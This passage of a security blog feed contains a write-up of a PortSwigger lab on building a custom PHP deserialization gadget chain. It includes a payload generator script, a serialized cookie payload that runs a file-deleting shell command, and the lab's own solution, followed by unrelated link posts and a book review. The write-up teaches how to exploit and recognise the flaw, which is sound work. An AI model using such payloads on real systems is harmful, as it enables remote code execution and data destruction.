        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">product</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Product</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">default_desc_type</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">desc</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kd">class</span> <span class="nc">Product</span> <span class="p">{</span>
    <span class="k">public</span> <span class="nv">$desc</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$default_desc_type</span><span class="p">,</span> <span class="nv">$desc</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">desc</span> <span class="o">=</span> <span class="nv">$desc</span><span class="o">-&gt;</span><span class="nv">$default_desc_type</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kd">class</span> <span class="nc">Description</span> <span class="p">{</span>
    <span class="k">public</span> <span class="nv">$HTML_DESC</span><span class="p">;</span>
    <span class="k">public</span> <span class="nv">$TEXT_DESC</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">()</span> <span class="p">{</span>
        <span class="c1">// @Carlos, what were you thinking with these descriptions? Please refactor!</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="no">HTML_DESC</span> <span class="o">=</span> <span class="s1">'&lt;p&gt;This product is &lt;blink&gt;SUPER&lt;/blink&gt; cool in html&lt;/p&gt;'</span><span class="p">;</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="no">TEXT_DESC</span> <span class="o">=</span> <span class="s1">'This product is cool in text'</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kd">class</span> <span class="nc">DefaultMap</span> <span class="p">{</span>
    <span class="k">private</span> <span class="nv">$callback</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$callback</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">callback</span> <span class="o">=</span> <span class="nv">$callback</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__get</span><span class="p">(</span><span class="nv">$name</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nb">call_user_func</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">callback</span><span class="p">,</span> <span class="nv">$name</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="cp">?&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>So we might have a leak of some part the website code here. Also after we log in, we check the session cookie, and it turns out it is a serialized php object:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/custom-gadget-chain-php1.png" width="1260" height="823" alt="A request in Burp Suite repeater showing encoded and highlighted decoded session cookie values in Inspector section" />
<p>
  <br />
</p>

<p>So we can check if this website is vulnerable to insecure deserialization.</p>

<p>For creating a custom gadget chain, we check the code we got above for kick-off(The first gadget in the chain that triggers the whole gadget chain) and sink gadgets(The last gadget in the chain that can execute our arbitrary code).</p>

<p>In this example, it seems that <code class="language-plaintext highlighter-rouge">__wakeup()</code> magic method might be suitable as the kick-off gadget. This method is executed when the php serialized object is going to be deserialized, in our case, it might execute our payload that we’re going to create. We follow the code, it finally leads to this line: <code class="language-plaintext highlighter-rouge">$this-&gt;desc = $desc-&gt;$default_desc_type;</code> in <code class="language-plaintext highlighter-rouge">Product</code> class constructor.</p>

<p>Also we search for a suitable sink gadget, the <code class="language-plaintext highlighter-rouge">DefaultMap</code> class has <code class="language-plaintext highlighter-rouge">call_user_func</code> which can execute arbitrary functions if we can  somehow lead our input to this function. This function gets <code class="language-plaintext highlighter-rouge">$this-&gt;callback</code> as the first parameter and <code class="language-plaintext highlighter-rouge">$name</code> as the second, in this function, the first parameter is the name of an arbitrary php function and the second is the parameter passed to that function, this function is called in <code class="language-plaintext highlighter-rouge">__get()</code> magic method, this method is called when we call an undefined property of <code class="language-plaintext highlighter-rouge">DefaultMap</code> class and the called property name is passed to the second parameter which in our case is the command we are going to execute.</p>

<p>Also we can assign any value to <code class="language-plaintext highlighter-rouge">$this-&gt;callback</code> in the class constructor:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$callback</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">callback</span> <span class="o">=</span> <span class="nv">$callback</span><span class="p">;</span>
<span class="p">}</span>
</code>
    </pre>
  </div>
</div>

<p>So for example we can have a remote code execution in a code similar to this:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nv">$test</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultMap</span><span class="p">(</span><span class="s1">'passthru'</span><span class="p">);</span>
<span class="nv">$command</span> <span class="o">=</span> <span class="s1">'rm /home/carlos/morale.txt'</span><span class="p">;</span>
<span class="nv">$test</span><span class="o">-&gt;</span><span class="nv">$command</span><span class="p">;</span>
</code>
    </pre>
  </div>
</div>

<p>We assigned our arbitrary function name (<code class="language-plaintext highlighter-rouge">passthru</code>) to <code class="language-plaintext highlighter-rouge">$this-&gt;callback</code> by passing this value to the class constructor in the first line of code above. The <code class="language-plaintext highlighter-rouge">passthru</code> php function executes any command we send to it.</p>

<p>The Third line in the above code triggers the <code class="language-plaintext highlighter-rouge">__get()</code> method invocation of <code class="language-plaintext highlighter-rouge">DefaultMap</code> class which results in the following code being executed:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="k">return</span> <span class="nb">call_user_func</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">callback</span><span class="p">,</span> <span class="nv">$name</span><span class="p">);</span>
</code>
    </pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">$this-&gt;callback</code> is <code class="language-plaintext highlighter-rouge">passthru</code> and <code class="language-plaintext highlighter-rouge">$name</code> is <code class="language-plaintext highlighter-rouge">rm /home/carlos/morale.txt</code> now which results in this file being removed from the server.</p>

<p>So the sink gadget and code is complete, now we need to somehow link the kick-off gadget to the sink gadget to execute these lines of codes.</p>

<p>If we review the leaked code, we can see that we have an object(<code class="language-plaintext highlighter-rouge">$this-&gt;desc</code>) that can have the value of our first line above:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">desc</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultMap</span><span class="p">(</span><span class="s1">'passthru'</span><span class="p">);</span>
</code>
    </pre>
  </div>
</div>

<p>also we have a property(<code class="language-plaintext highlighter-rouge">$this-&gt;default_desc_type</code>) that can have the value of our second line above:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nv">$this</span><span class="o">-&gt;</span><span class="n">default_desc_type</span> <span class="o">=</span> <span class="s1">'rm /home/carlos/morale.txt'</span><span class="p">;</span>
</code>
    </pre>
  </div>
</div>

<p>and if we follow the code, we arrive at the last part in <code class="language-plaintext highlighter-rouge">Product</code> class constructor that gets the above <code class="language-plaintext highlighter-rouge">$this-&gt;desc</code> and <code class="language-plaintext highlighter-rouge">$this-&gt;default_desc_type</code> values as parameters and assign them to <code class="language-plaintext highlighter-rouge">$this-&gt;desc</code> of its own:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$default_desc_type</span><span class="p">,</span> <span class="nv">$desc</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">desc</span> <span class="o">=</span> <span class="nv">$desc</span><span class="o">-&gt;</span><span class="nv">$default_desc_type</span><span class="p">;</span>
<span class="p">}</span>
</code>
    </pre>
  </div>
</div>

<p>which is exactly what we want and is the same as the third line of our code above: <code class="language-plaintext highlighter-rouge">$test-&gt;$command;</code> which results in our arbitrary code being executed.</p>

<p>I have prepared a php file for creating the final payload with just the parts of the leaked code that are necessary for creating the payload:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="cp">&lt;?php</span>

<span class="kd">class</span> <span class="nc">CustomTemplate</span> <span class="p">{</span>
    <span class="k">private</span> <span class="nv">$default_desc_type</span><span class="p">;</span>
    <span class="k">private</span> <span class="nv">$desc</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">()</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">desc</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DefaultMap</span><span class="p">(</span><span class="s1">'passthru'</span><span class="p">);</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">default_desc_type</span> <span class="o">=</span> <span class="s1">'rm /home/carlos/morale.txt'</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kd">class</span> <span class="nc">DefaultMap</span> <span class="p">{</span>
    <span class="k">private</span> <span class="nv">$callback</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$callback</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="n">callback</span> <span class="o">=</span> <span class="nv">$callback</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nv">$test</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CustomTemplate</span><span class="p">();</span>
<span class="nv">$ser</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$test</span><span class="p">);</span>
<span class="k">echo</span><span class="p">(</span><span class="nv">$ser</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">"===================================================</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">"base64 endcoded then urlencoded: </span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>
<span class="k">echo</span><span class="p">(</span><span class="nb">urlencode</span><span class="p">(</span><span class="nb">base64_encode</span><span class="p">(</span><span class="nv">$ser</span><span class="p">))</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">);</span>

<span class="cp">?&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>and the output of this code is:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>O:14:"CustomTemplate":2:{s:33:"CustomTemplatedefault_desc_type";s:26:"rm /home/carlos/morale.txt";s:20:"CustomTemplatedesc";O:10:"DefaultMap":1:{s:20:"DefaultMapcallback";s:8:"passthru";}}
===================================================
base64 endcoded then urlencoded:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo4OiJwYXNzdGhydSI7fX0%3D
</code>
    </pre>
  </div>
</div>

<p>Keep in mind that the php serialized object is a binary format meaning it may contain some null characters… so if we copy-paste the cleartext part from the above output:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nc">O</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="s2">"CustomTemplate"</span><span class="o">:</span><span class="mi">2</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="o">:</span><span class="mi">33</span><span class="o">:</span><span class="s2">"CustomTemplatedefault_desc_type"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="s2">"rm /home/carlos/morale.txt"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">20</span><span class="o">:</span><span class="s2">"CustomTemplatedesc"</span><span class="p">;</span><span class="nc">O</span><span class="o">:</span><span class="mi">10</span><span class="o">:</span><span class="s2">"DefaultMap"</span><span class="o">:</span><span class="mi">1</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="o">:</span><span class="mi">20</span><span class="o">:</span><span class="s2">"DefaultMapcallback"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"passthru"</span><span class="p">;}}</span>
</code>
    </pre>
  </div>
</div>

<p>It won’t work, if we want to copy-paste the cleartext version, we need to edit it manually and the final payload will be something like this:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nc">O</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="s2">"CustomTemplate"</span><span class="o">:</span><span class="mi">2</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="s2">"default_desc_type"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="s2">"rm /home/carlos/morale.txt"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"desc"</span><span class="p">;</span><span class="nc">O</span><span class="o">:</span><span class="mi">10</span><span class="o">:</span><span class="s2">"DefaultMap"</span><span class="o">:</span><span class="mi">1</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"callback"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"passthru"</span><span class="p">;}}</span>
</code>
    </pre>
  </div>
</div>

<p>If we don’t want to edit the output and directly copy-paste the payload, as mentioned above we have to treat serialized php objects as binary format, as the <code class="language-plaintext highlighter-rouge">serialize</code> function help explains:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>Note that this is a binary string which may include null bytes, and needs to be stored and handled as such.
For example, **serialize()** output should generally be stored in a BLOB field in a database, 
rather than a CHAR or TEXT field.
</code>
    </pre>
  </div>
</div>

<p>That’s why we base64 and url encoded the output to easily be able to copy-paste it as the session cookie. So we copy this part from the output above:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo4OiJwYXNzdGhydSI7fX0%3D
</code>
    </pre>
  </div>
</div>

<p>and paste it here in the session cookie in the Burp suite repeater:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2023/custom-gadget-chain-php2.png" width="1263" height="818" alt="A request in Burp Suite repeater with pasted session cookie value and apply changes buttons highlighted in inspector section" />
<p>
  <br />
</p>

<p>and click apply and send, then boom! the carlos’s morale.txt file is removed from the server and the lab is solved!</p>

<p>
  <br />
</p>
<h3 id="solution-2--web-security-academys-solution">Solution 2:  Web Security Academy’s Solution</h3>

<ol>
  <li>
    <p>Log in to your own account and notice that the session cookie contains a serialized PHP object. Notice that the website references the file <code class="language-plaintext highlighter-rouge">/cgi-bin/libs/CustomTemplate.php</code>. Obtain the source code by submitting a request using the <code class="language-plaintext highlighter-rouge">.php~</code> backup file extension.</p>
  </li>
  <li>
    <p>In the source code, notice that the <code class="language-plaintext highlighter-rouge">__wakeup()</code> magic method for a <code class="language-plaintext highlighter-rouge">CustomTemplate</code> will create a new <code class="language-plaintext highlighter-rouge">Product</code> by referencing the <code class="language-plaintext highlighter-rouge">default_desc_type</code> and <code class="language-plaintext highlighter-rouge">desc</code> from the <code class="language-plaintext highlighter-rouge">CustomTemplate</code>.</p>
  </li>
  <li>
    <p>Also notice that the <code class="language-plaintext highlighter-rouge">DefaultMap</code> class has the <code class="language-plaintext highlighter-rouge">__get()</code> magic method, which will be invoked if you try to read an attribute that doesn’t exist for this object. This magic method invokes <code class="language-plaintext highlighter-rouge">call_user_func()</code>, which will execute any function that is passed into it via the <code class="language-plaintext highlighter-rouge">DefaultMap-&gt;callback</code> attribute. The function will be executed on the <code class="language-plaintext highlighter-rouge">$name</code>, which is the non-existent attribute that was requested.</p>
  </li>
  <li>
    <p>You can exploit this gadget chain to invoke <code class="language-plaintext highlighter-rouge">exec(rm /home/carlos/morale.txt)</code> by passing in a <code class="language-plaintext highlighter-rouge">CustomTemplate</code> object where:</p>

    <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">CustomTemplate</span><span class="o">-&gt;</span><span class="n">default_desc_type</span> <span class="o">=</span> <span class="s2">"rm /home/carlos/morale.txt"</span><span class="p">;</span>
<span class="nc">CustomTemplate</span><span class="o">-&gt;</span><span class="n">desc</span> <span class="o">=</span> <span class="nc">DefaultMap</span><span class="p">;</span>
<span class="nc">DefaultMap</span><span class="o">-&gt;</span><span class="n">callback</span> <span class="o">=</span> <span class="s2">"exec"</span>
</code></pre></div>    </div>

    <p>If you follow the data flow in the source code, you will notice that this causes the <code class="language-plaintext highlighter-rouge">Product</code> constructor to try and fetch the <code class="language-plaintext highlighter-rouge">default_desc_type</code> from the <code class="language-plaintext highlighter-rouge">DefaultMap</code> object. As it doesn’t have this attribute, the <code class="language-plaintext highlighter-rouge">__get()</code> method will invoke the callback <code class="language-plaintext highlighter-rouge">exec()</code> method on the <code class="language-plaintext highlighter-rouge">default_desc_type</code>, which is set to our shell command.</p>
  </li>
  <li>
    <p>To solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via your session cookie:</p>

    <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">O</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="s2">"CustomTemplate"</span><span class="o">:</span><span class="mi">2</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="s2">"default_desc_type"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="s2">"rm /home/carlos/morale.txt"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"desc"</span><span class="p">;</span><span class="nc">O</span><span class="o">:</span><span class="mi">10</span><span class="o">:</span><span class="s2">"DefaultMap"</span><span class="o">:</span><span class="mi">1</span><span class="o">:</span><span class="p">{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"callback"</span><span class="p">;</span><span class="n">s</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"exec"</span><span class="p">;}}</span>
</code></pre></div>    </div>
  </li>
</ol>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="lab-developing-a-custom-gadget-chain-for-php-deserialization"><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization">Lab: Developing a custom gadget chain for PHP deserialization</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />



          ]]>
        </description>

        <pubDate>Wed, 18 Jan 2023 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2023/expert-lab-developing-a-custom-gadget-chain-for-php-deserialization</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2023/expert-lab-developing-a-custom-gadget-chain-for-php-deserialization</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2023/supply-chain2.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Expert Labs</category>
        
          <category>Insecure Deserialization</category>
        
          <category>Remote Code Execution</category>
        
          <category>Gadget Chains</category>
        
          <category>PHP</category>
        
      </item>
    
      <item>
        <title>Insecure Deserialization - How to trace down a gadget chain - Other examples in Ruby</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/supply-chain2.png" alt="Insecure Deserialization - How to trace down a gadget chain - Other examples in Ruby" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>These are some Ruby examples equivalents of my previous post(about gadget chains in PHP), that show the process of finding gadget chains in Ruby programming language; also as mentioned in one of these articles, there may still be some undiscovered gadget chains for cybersecurity researchers to find.</p>

<p>Also there is a Web Security Academy lab to practice these types of documented gadget chains.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="ruby-2x-universal-rce-deserialization-gadget-chain"><a href="https://www.elttam.com/blog/ruby-deserialization/">RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN</a></h3>
  </li>
  <li>
    <h3 id="universal-deserialisation-gadget-for-ruby-2x-3x"><a href="https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html" rel="nofollow">Universal Deserialisation Gadget for Ruby 2.x-3.x</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sun, 25 Dec 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/insecure-deserialization-how-to-trace-down-a-gadget-chain-other-examples-in-ruby</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/insecure-deserialization-how-to-trace-down-a-gadget-chain-other-examples-in-ruby</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/supply-chain2.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Labs</category>
        
          <category>Insecure Deserialization</category>
        
          <category>Remote Code Execution</category>
        
          <category>Gadget Chains</category>
        
          <category>Ruby</category>
        
      </item>
    
      <item>
        <title>Insecure Deserialization - How to trace down a gadget chain</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/supply-chain.png" alt="Insecure Deserialization - How to trace down a gadget chain" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>This article explains clearly the process of finding a sample gadget chain and then writing a small code to build the payload for insecure deserialization exploitation in cases where there are no existing pre-built gadget chains.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="insecure-deserialization---how-to-trace-down-a-gadget-chain"><a href="https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/">Insecure Deserialization - How to trace down a gadget chain</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Fri, 23 Dec 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/insecure-deserialization-how-to-trace-down-a-gadget-chain</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/insecure-deserialization-how-to-trace-down-a-gadget-chain</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/supply-chain.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web Application Security</category>
        
          <category>Insecure Deserialization</category>
        
          <category>Remote Code Execution</category>
        
          <category>Gadget Chains</category>
        
          <category>PHP</category>
        
      </item>
    
      <item>
        <title>Learn Regex step by step, from zero to advanced</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/parentheses.png" alt="Learn Regex step by step, from zero to advanced" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>Learning Regex is easier than you think. You can use this tool to easily learn, practice, test and share Regex.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="learn-regex-step-by-step-from-zero-to-advanced"><a href="https://regexlearn.com" rel="nofollow">Learn Regex step by step, from zero to advanced.</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sun, 18 Dec 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/learn-regex-step-by-step-from-zero-to-advanced</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/learn-regex-step-by-step-from-zero-to-advanced</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/parentheses.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Regex</category>
        
          <category>Useful Skills</category>
        
          <category>Programming</category>
        
          <category>Linux</category>
        
      </item>
    
      <item>
        <title>The God Equation: The Quest for a Theory of Everything</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2022/the-god-equation-book.jpg" alt="The God Equation: The Quest for a Theory of Everything" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />

<p>
  <strong>#1 NEW YORK TIMES BEST SELLER • The epic story of the greatest quest in all of science—the holy grail of physics that would explain the creation of the universe—from renowned theoretical physicist and author of The Future of the Mind and The Future of Humanity</strong>
</p>

<p>When Newton discovered the law of gravity, he unified the rules governing the heavens and the Earth. Since then, physicists have been placing new forces into ever-grander theories.</p>

<p>But perhaps the ultimate challenge is achieving a monumental synthesis of the two remaining theories—relativity and the quantum theory. This would be the crowning achievement of science, a profound merging of all the forces of nature into one beautiful, magnificent equation to unlock the deepest mysteries in science: What happened before the Big Bang? What lies on the other side of a black hole? Are there other universes and dimensions? Is time travel possible? Why are we here?</p>

<p>Kaku also explains the intense controversy swirling around this theory, with Nobel laureates taking opposite sides on this vital question. It is a captivating, gripping story; what’s at stake is nothing less than our conception of the universe.</p>

<p>Written with Kaku’s trademark enthusiasm and clarity, this epic and engaging journey is the story of The God Equation.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>Praise for Michio Kaku’s The God Equation:</p>

<p>“This is an excellent book written by a masterful science communicator. . . . If there is anyone who can demystify the esoteric mathematics and physics of string theory, it is [Kaku]. And in this wonderful little book, that is precisely what he does—explain in clear and simple terms the conceptual breakthroughs, the blind alleys and the unanswered questions—in the search for a grand unified theory of everything. . . . The God Equation dazzles. . . . Kaku, a consummate storyteller, provides an engaging, unvarnished account. . . . His book presents cutting-edge ideas in theoretical physics, and primes readers to be ready when the next major breakthrough occurs.” —The Wall Street Journal</p>

<p>“[Kaku writes] about science in clean, concise language. . . . A clear and engaging story of a difficult scientific quest.” —Smithsonian Magazine</p>

<p>“Authoritative and accessible.” —Nature</p>

<p>“Kaku eloquently reviews the structure of our universe, highlighting contributions from intellectual giants and those continuing the daunting, decades-long quest for the elusive theory of everything. . . . Examining this tantalizing theory, Kaku outlines its promises, problems, and the breathtaking, almost inconceivable array of possibilities it presents. Kaku’s latest captures the awesome and mysterious beauty of the universe, of our planet, and of ourselves, and will intrigue anyone who ponders existence.” —Booklist</p>

<p>“Riveting. . . . Kaku’s expertise at making mind-bending concepts comprehensible makes this a real intellectual eye-opener.” —Publisher’s Weekly</p>

<p>“An expert account of the search for ‘the holy grail of physics.’ . . . Illuminating. . . . An important work.” —Kirkus Reviews</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>MICHIO KAKU is a professor of theoretical physics at the City University of New York, co-founder of string field theory, and the author of several widely acclaimed science books, including Beyond Einstein, The Future of Humanity, The Future of the Mind, Hyperspace, Physics of the Future, and Physics of the Impossible. He is the science correspondent for CBS This Morning, the host of the radio programs Science Fantastic and Exploration, and a host of several science TV specials for the BBC and the Discovery and Science Channels.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />

<p>Author: Michio Kaku</p>

<p>Category:  Relativity Physics, Quantum Theory</p>

<p>Publisher: Doubleday; First Edition (April 6, 2021)</p>

<p>Paperback: 240 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />

<p>This book was very interesting, I really enjoyed reading it, this is the latest Michio Kaku’s book about the quest for the “Theory of Everything”, probably the last and most important theory than can explain every physical law and question in our universe. Our universe is made of four fundamental forces: the weak and strong nuclear forces, the electromagnetic force and the gravitational force. The theory of everything, tries to unite these four forces into a formula, probably no longer than an inch long.</p>

<p>Einstein’s general relativity explains a part of the whole picture of the universe while The Standard Model explains the other part (the Standard Model unifies the three fundamental forces: strong, weak and electromagnetic, leaving the gravity out), so all the physical laws of the universe can, in principle, be derived from just one page of equations. The problem is that the two mentioned theories-Einstein’s relativity theory and the Standard Model-are based on different mathematics, different assumptions, and different fields. The ultimate goal is to merge these two sets of equations into a single, finite unified fashion. The key observation is that any theory claiming to be the theory of everything must contain both sets of equations, yet remain finite. So far, of all the various theories that have been proposed, the only theory that can do this is string theory.</p>

<p>It is a very interesting book that has a brief and simple introduction of scientific achievements in this path to the latest formula from Newton all to way to the latest Scientists that are working hard to achieve this greatest breakthrough in the history of Science that can answer many questions of ours.</p>

<p>
